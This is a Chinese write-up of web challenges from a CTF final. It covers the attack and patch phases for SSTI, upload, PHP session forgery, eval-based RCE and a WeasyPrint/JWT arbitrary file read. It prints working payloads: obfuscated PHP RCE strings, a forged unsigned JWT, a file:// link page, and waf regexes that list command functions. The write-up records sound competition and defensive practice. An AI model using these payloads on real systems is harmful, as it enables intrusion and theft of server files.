2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全
终于迎来了我的第一百篇文章。
这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。
总结一下:败北,还是太菜了得继续修炼一下。
一、Break
ezSSTI
看到是SSTI,焚靖直接一把梭了。
python -m fenjing crack --method GET --inputs name --url 'http://10.1.110.2:20000/'
瞎了,执行ls /
时候flag文件在命令旁边没看见,find命令找了好久呜呜呜。
痛失一血,只有二血。。。。
源码如下:
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
easyupload
题目描述:小明同学学会了用apache搭建网站,你能帮助他找到存在的安全问题么?
开题是一个非常猛男的网页,需要登录。
本来想爆破的,看了一下源码,发现账号密码就在源码里面。
登录后是一个文件上传的界面。
题目提到了Apache
,那么我们首先想到的就是Apache
解析漏洞啦。
上传文件名为shell.php.txt
,检查时候php拿到的是.txt
后缀,解析时候Apache把文件当成是.php
后缀。
访问上传文件的链接在源码里面。
payload:
1=system('tac /flag.txt');
BabyMemo
这题的话知识点就是php的session。主要考察的是代码逻辑漏洞,题目源码中本来用于过滤非法字符串../
的功能经过一系列操作之后可以用于伪造session文件。
注,自己部署的话记得在index.php
中加一句session_start();
memo翻译过来是备忘录。
源码见fix。
主要是memo.php
中的这两段代码。
1、给我们定义任意后缀的权力,但是过滤了../
。
然后把文件写入/tmp
目录(也是存放session文件的目录),文件名是用户名_随机数.后缀
。下图是比赛时的一张截图。
这里先放一部分思路,就是我们自定义后缀名为./
时候,文件名是用户名_随机数../
,经过过滤替换后变成用户名_随机数
。
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
。如果用户名是sess,PHPSESSID设置成随机数,那么文件名就是sess_PHPSESSID
。我们写入的文件就代替了原先的session文件成为程序现在的session文件。
2、如果$_SESSION['admin'] === true
,那就给我们flag。
总结一下思路就是伪造session文件使$_SESSION['admin'] === true
当时题目用的session处理器就是默认的php处理器
。session文件的内容和下图相似:
我们伪造的文件内容应该是admin|b:1;username|s:4:"sess";memos|a:2:{i:0;s:3:"aaa";i:1;s:3:"aaa";}
因为自定义后缀的话,写入文件的内容是经过一次rot13编码的,所以我们写入的应该是rot13解码后的内容nqzva|o:1;hfreanzr|f:4:"frff";zrzbf|n:2:{v:0;f:3:"nnn";v:1;f:3:"nnn";}
点击下载,抓包。然后我们自定义后缀,写入、下载文件。
用户名:sess
POST:compression=./&backup=1
文件被写入到了/tmp/sess_41983787c3a288d9
此时随机数是41983787c3a288d9
,如果我们把它设置成PHPSESSID
,那就导致刚刚我们写入的文件变成了session文件了,文件内容admin|b:1
导致我们可以满足$_SESSION['admin'] === true
,直接获得了flag。
fuzee_rce
爆破得出账号admin
,密码admin123
登录后自动跳转到/goods.php
路由,看不见源码,啥都看不见。
扫了一下后台还存在一个check.php
文件,应该是用来限制RCE过滤的。
看不见源码的话,猜测这里是和[羊城杯 2020]easyser
那题一样,需要自己找到传参名字然后题目才会返回更多的信息。Fix阶段看了一下源码,确实如此,需要GET传参对应参数后才会高亮源码。
一开始拿arjun
工具扫了一下没有发现参数。其实应该直接拿burp爆破的。
arjun -u http://10.1.110.2:20003/goods.php
接下来是部署在本地的复现。
首先是在/goods.php
路由暴力爆破参数。得到参数是w1key
。(爆破量有点大,burp太慢的话可以拿python脚本爆)
题目中GET提交w1key
参数得到源码。
<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?>
首先是第一个if,GET提交的w1key
要满足is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999
。
聚焦到最后两个条件,首先想到的就是科学计数法。payload:?w1key=1e9
。
但是奇怪的是,这个payload本地可以过,题目过不了,嘶。
修改一下vps上的源码看看是哪个条件没过。
发现是intval($w1key) == $w1key
条件不满足。
这个判断如果改成intval(1e9) == '1e9'
就返回true
。
研究了一下,是php版本问题。把我部署题目的vps上的php版本改成7就可以了,当然,我本地就是php7。
payload:
?w1key=1e9
原理:
is_numeric($w1key) //is_numeric函数可识别科学计数法
intval($w1key) == $w1key //intval('1e9') === 1,$w1key === '1e9' =='1'
strlen($w1key) <= 3 //1e9 长度是3
$w1key > 999999999 //1e9 值是1000000000,多1
然后是第二个if,burp跑一下单个字符的fuzz
看看哪些能用。可以用的字符是:
、.
、;
、'
、/
、[]
、=
、$
、()
、+
、/
、_
一看就是自增RCE,payload库里面挑一个合适的。
$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是 %ff=system&_=cat /f1agaaa
payload:
GET:?w1key=1e9POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag
waf源码如下。
Oh! My PDF
python语言的,部署本地倒是废了一些功夫。记录一下。
首先把源码包cv到vps上面。
然后把需要的库全安装好。
cd到源码放的目录下,运行nohup python3 -u app.py > out.log 2>&1 &
。
如果报错OSError: cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory. Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'
那就先运行命令apt-get install -y libpangocairo-1.0-0
。其他的报错基本上是库没有。
成功运行nohup python3 -u app.py > out.log 2>&1 &
后,同目录下会生成两个文件:
检查out.log
。发现题目源码是运行在了8080
端口。
访问vps-ip:8080
,发现题目源码运行成功!
坑点就是import jwt
,但是安装的包是PyJWT
重启服务ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
参考文章:
如何优雅的部署Python应用到Linux服务器?_python能否直接向linux储存文件_緈諨の約錠的博客-CSDN博客
Python代码部署到Linux(亲测成功)_python程序部署到linux_繁星、晚风的博客-CSDN博客
大码王的博客 (cnblogs.com)
手把手教你如何从零开始部署一个Python项目到服务器 - 知乎 (zhihu.com)
开始做题。源码如下:
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)# 设置应用的秘密密钥和数据库URI
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'# 初始化数据库
db = SQLAlchemy(app)# 正则表达式用于检查URL的有效性
URL_REGEX = re.compile(r'http(s)?://' # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)# 用户模型
class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)# 创建数据库
def create_database(app):with app.app_context():db.create_all()# 检查URL的有效性
def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True# 用户注册
@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html', message='User registered successfully')except:return render_template('register.html', message='Register Error!'), 500else:return render_template('register.html', message='please register first!')# 用户登录
@app.route('/login', methods=['POST', 'GET'])
def login():# 处理针对 '/login' 路径的 HTTP GET 和 POST 请求if request.method == 'POST':# 如果是 POST 请求,表示用户正在尝试登录data = request.form # 获取从用户提交的表单中获取的数据# 通过用户名从数据库中查找用户记录user = User.query.filter_by(username=data['username']).first()# 检查用户是否存在且密码是否匹配if user and check_password_hash(user.password, data['password']):# 如果用户存在且密码匹配# 生成访问令牌(JWT),包括用户名和是否为管理员的信息access_token = jwt.encode({'username': user.username, 'isadmin': False},app.config['SECRET_KEY'], # 使用配置的密钥进行签名algorithm="HS256" # 使用 HS256 算法进行签名)# 创建一个 Flask 响应对象,重定向到名为 'ohmypdf' 的路由res = make_response(redirect(url_for('ohmypdf')))# 在响应中设置 Cookie,将访问令牌存储在客户端res.set_cookie('access_token', access_token)# 返回响应和状态码 200(表示成功)return res, 200else:# 如果用户不存在或密码不匹配,返回带有错误消息的登录页面和状态码 500(服务器内部错误)return render_template('login.html', message='Invalid username or password'), 500else:# 如果是 HTTP GET 请求,返回登录页面return render_template('login.html'), 200# 主页,关键看这里
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():# 从请求中获取访问令牌(如果存在)access_token = request.cookies.get('access_token')if not access_token:# 如果没有访问令牌,将用户重定向到登录页面return redirect(url_for("login"))try:# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']except:# 如果解码失败,返回登录页面并显示“Invalid access token”消息return render_template('login.html', message='Invalid access token')if not isadmin:# 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbiddenreturn render_template('index.html', message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':# 如果收到【POST】请求的参数【url】url = request.form.get('url')if is_valid_url(url):try:# 创建HTML对象,从给定的URL获取内容html = HTML(url=url)# 生成PDF文件,名字是output.pdfpdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:# 如果生成PDF出错,返回错误消息,HTTP状态码为500 Internal Server Errorreturn f'Error generating PDF', 500else:# 如果URL无效,返回错误消息return f'Invalid URL!'else:# 如果是GET请求,渲染名为“index.html”的模板并返回return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)
先简要说明一下全题思路。
注册登录用户后,伪造JWT使自己成为admin。然后利用Python中WeasyPrint库的漏洞读取任意文件。
首先伪造JWT,这里密钥由os.urandom(10)
生成,无法预测。
但是看源码如何解密JWT的,没有验证密钥。所以这里的JWT可以用空密钥来伪造。
# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法
decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']
先看看JWT构成。
然后用脚本伪造空密钥,isadmin
为true的JWT。
import base64def jwtBase64Encode(x):return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ": "JWT","alg": "HS256"}'
payload = '{"username": "admin","isadmin": true}'print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')#eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsImlzYWRtaW4iOiB0cnVlfQ.
显然,现在我们已经是admin了。
然后就是利用Python中WeasyPrint库的漏洞读取任意文件,这部分的原题是[FireshellCTF2020]URL TO PDF
。
先看看对输入URL的限制。is_valid_url(url)
,is_valid_url函数中又是用URL_REGEX.match(url)
来判断的。归根结底,我们输入的url要满足以下正则表达式。
URL_REGEX = re.compile(r'http(s)?://' # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)
这段正则表达式 函数URL_REGEX()
用于匹配 URL 地址。下面是它的具体含义:
http(s)?://
: 匹配以 “http://” 或 “https://” 开头的部分。其中(s)?
表示 “s” 字符可选,即匹配 “http://” 或 “https://”。(?: ... )+
: 这是一个非捕获分组,用于匹配一个或多个字符。它包含了以下内容:[a-zA-Z]
: 匹配大小写字母。[0-9]
: 匹配数字。[$-_@.&+]
: 匹配一些特殊字符,包括 “$”, “-”, “_”, “@”, “.”, “&”, “+”。[!*\(\),]
: 匹配一些其他特殊字符,包括 “!”, “*”, “(”, “)”, “,”。(?:%[0-9a-fA-F][0-9a-fA-F])
: 匹配以 “%” 开头的两位十六进制数,通常用于 URL 编码。
综合起来,这个正则表达式可以有效地匹配标准的 URL 地址,包括常见的字符和特殊字符。所以说我们只能输入http(s)://什么什么
,不能直接使用伪协议file:///etc/passwd
。
然后就是利用WeasyPrint
库的漏洞了。
做题时候如果看不见源码,怎么验证是WeasyPrint
库?vps开个监听,然后PDF转换器访问对应端口即可。可以看见在U-A
头里面能看见WeasyPrint
,这也算是一种特征。
WeasyPrint
是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印。
WeasyPrint
使用了自己定义的一套HTML标签,使得无法在其上执行JS。但是WeasyPrint
会把所有它支持的东西 都请求一遍然后放在 PDF 里。
这里出现了漏洞,WeasyPrint可以解析解析 <link>
标签,当你使用<link>
标签时,他会把标签指向的内容给下下来返回在PDF内。我们在 <link>
标签内 href
加载 file://
就可以实现 SSRF + 任意文件读取。
开始实战:
vps上放一个link.html,内容如下:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
</html>
接下来用PDF生成器访问http://vps-ip/link.html
下载下来的 PDF
虽说没有显示,但是放到binwalk -e 文件名
后打开解压的文件 中看确实能看到file://
协议读取到的内容,提取出即可。
同理,我们把<link rel="attachment" href="file:///etc/passwd">
换成<link rel="attachment" href="file:///flag">
就能读取flag文件。
参考文章:
挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞 - FreeBuf网络安全行业门户
Hackerone 50m-ctf writeup(第二部分) - 先知社区 (aliyun.com)
HackerOne的ssrf漏洞报告 | CN-SEC 中文网
深入浅出SSRF(二):我的学习笔记 | 悠远乡 (1dayluo.github.io)
从PDF导出到SSRF | CTF导航 (ctfiot.com)
[FireshellCTF2020]web wp | Z3ratu1’s blog
[BUUCTF][FireshellCTF2020]URL TO PDF_Y4tacker的博客-CSDN博客
[FireshellCTF2020]URL_TO_PDF (proben1.github.io)
**做后补充:**做完想到当时决赛是断网的,不能使用vps。问了一下tel
爷,我们可以在自己插网线的机器上开http,因为和服务器同属于一个内网,访问ip可以访问到。
二、Fix
web1
初始源码:
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
修后源码,正则过滤部分多加了。
但是没过,很奇怪为什么过滤了单个花括号{
及其URL编码都不行,当时check后 也不回显是waf多了还是少了。迷。
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{|set|\[|\(|%7b|eval|1|2|3|4|5|6|7|8|9",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
贴一个Enterpr1se
师傅的waf:
还需要过滤引号、斜杠等符号。
web2
初始源码:(dadaadwdwfegrgewg.php
)
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>
修后源码:(黑名单变成白名单+只允许出现一个点号)前者防止.htaccess
配置文件,后者防Apache解析漏洞。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".jpg",".png",".jpeg"); //【修改点一】$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['upload_file']['name'], '.')===1) {//【修改点二】$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?phpif($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>
赛后和师傅们讨论了发现,除了我那种Apache解析漏洞的做法,还能通过.htaccess
配置文件修改配置项解析png
等格式的图片。属于是一题多解了,两个都不是非预期,都会check。
web3
初始源码:
(index.php)
<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {$_SESSION['username'] = $_POST['username'];if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Simple Memo Website</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1 {color: darkslategray;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"] {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}button[type="submit"]:hover {background-color: steelblue;}</style>
</head><body><h1>Login</h1><form action="index.php" method="post"><label for="username">Username:</label><input type="text" name="username" id="username" required><button type="submit">Login</button></form>
</body></html>
memo.php
<?php
session_start();if (!isset($_SESSION['username'])) {header('Location: index.php');exit();
}if (isset($_POST['memo']) && !empty($_POST['memo'])) {$_SESSION['memos'][] = $_POST['memo'];
}if (isset($_POST['backup'])) {$backupMemos = implode(PHP_EOL, $_SESSION['memos']);$random = bin2hex(random_bytes(8));$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;// Handle compression method and file extension$compressionMethod = $_POST['compression'] ?? 'none';switch ($compressionMethod) {case 'gzip':$compressedData = gzencode($backupMemos);$filename .= '.gz';$mimeType = 'application/gzip';break;case 'bzip2':$compressedData = bzcompress($backupMemos);$filename .= '.bz2';$mimeType = 'application/x-bzip2';break;case 'zip':$zip = new ZipArchive();$zipFilename = $filename . '.zip';if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {$zip->addFromString($filename, $backupMemos);$zip->close();}$filename = $zipFilename;$mimeType = 'application/zip';break;case 'none':$compressedData = $backupMemos;$filename .= '.txt';$mimeType = 'text/plain';break;default:// I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~$compressedData = str_rot13($backupMemos);$filename .= '.' . $compressionMethod;$mimeType = 'text/plain';while (strpos($filename, '../') !== false) {$filename = str_replace('../', '', $filename);}break;}file_put_contents($filename, $compressedData);// Send headers and output file contentheader('Content-Description: File Transfer');header('Content-Type: ' . $mimeType);header('Content-Disposition: attachment; filename="' . basename($filename) . '"');header('Content-Length: ' . filesize($filename));readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Memo</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1,h2 {color: darkslategray;margin-top: 30px;margin-bottom: 10px;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"],select {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}</style>
</head><body><h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1><form action="memo.php" method="post"><label for="memo">New Memo:</label><input type="text" name="memo" id="memo" required><button type="submit">Add Memo</button></form><h2>Here 1s Your Memos:</h2><ul><?php foreach ($_SESSION['memos'] as $memo) : ?><li><?php echo htmlspecialchars($memo); ?></li><?php endforeach; ?><?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?><li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag --><?php endif ?></ul><form action="memo.php" method="post"><label for="compression">Compression method:</label><select name="compression" id="compression"><option value="none">None</option><option value="gzip">GZIP</option><option value="bzip2">BZIP2</option><option value="zip">ZIP</option></select><button type="submit" name="backup" value="1">Export Backup</button></form>
</body></html>
未知攻焉知防。会打的话其实过滤很简单,对用户名加一个限制使其不等于sess
就行了。
index.php加个waf就行了。
<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {if($_POST['username']!="sess"){$_SESSION['username'] = $_POST['username'];}if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>
web4
初始源码:
goods.php
文件
<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?>
check.php
文件
<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!"); }}else{die("太长了"); }}
check.php
文件多加点过滤就能fix。(百分号%
(%)一定要加)
<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\_$()+=;\%]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!");}}else{die("太长了");}
}
web5
初始源码:
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'db = SQLAlchemy(app)URL_REGEX = re.compile(r'http(s)?://' # http or httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)def create_database(app):with app.app_context():db.create_all()def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html',message='User registered successfully')except:return render_template('register.html',message='Register Error!'),500else:return render_template('register.html',message='please register first!')@app.route('/login', methods=['POST','GET'])
def login():if request.method == 'POST':data = request.formuser = User.query.filter_by(username=data['username']).first()if user and check_password_hash(user.password, data['password']):access_token = jwt.encode({'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")res = make_response(redirect(url_for('ohmypdf')))res.set_cookie('access_token',access_token)return res, 200else:return render_template('login.html',message='Invalid username or password'), 500else:return render_template('login.html'), 200@app.route('/', methods=['GET', 'POST'])
def ohmypdf():access_token = request.cookies.get('access_token')if not access_token:return redirect(url_for("login"))try:decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})isadmin = decoded_token['isadmin']except:return render_template('login.html',message='Invalid access token')if not isadmin:return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':url = request.form.get('url')if is_valid_url(url):try:html = HTML(url=url)pdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:return f'Error generating PDF', 500else:return f'Invalid URL!'else:return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)
这题暂时没打听到哪位佬修出来了。个人感觉可以从jwt检验密钥
、检验转PDF文件内容
、禁止加载html文件
、换一个PDF库
这些方面入手。
相关文章:

2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全
终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。BreakFix,其实就是CTFFix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 一、Break ezSSTI 看到是SSTI,焚靖直接一把梭…...

如何用好免费的ChatGPT
如何用好免费的ChatGPT 前言ChatGPT使用入口在线体验地址:点我体验 ChatGPT介绍ChatGPT初级使用技巧初级使用技巧:清晰明了的问题表达 ChatGPT中级使用语法中级使用语法:具体化问题并提供背景信息 ChatGPT高级使用高级使用:追问、…...
golang 实现带令牌限流的JWT demo
demo里提供了三个接口,认证取token,刷新token,获取信息,token过期前也会在header里写上新token(便于客户端更换) package mainimport ("fmt""net/http""sync""time&qu…...
【web开发】9、Django(4)ajax请求
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、Ajax是什么?二、使用步骤二、订单管理 提示:以下是本篇文章正文内容,下面案例可供参考 一、Ajax是什么? Ajax&…...

消息队列中,如何保证消息的顺序性?
本文选自:advanced-java 作者:yanglbme 问:如何保证消息的顺序性? 面试官心理分析 其实这个也是用 MQ 的时候必问的话题,第一看看你了不了解顺序这个事儿?第二看看你有没有办法保证消息是有顺序的…...
Shell别名的使用方法及管理技巧
文章目录 1. 引言1.1 概述1.2 目的1.3 适用范围 2. Shell和别名2.1 Shell简介2.2 别名的作用2.3 别名的语法 3. 创建别名3.1 临时别名3.2 永久别名 4. 别名的应用4.1 简化命令4.2 自定义命令4.3 提高工作效率 5. 管理别名5.1 查看别名5.2 修改别名5.3 删除别名 6. 实例演示6.1 …...

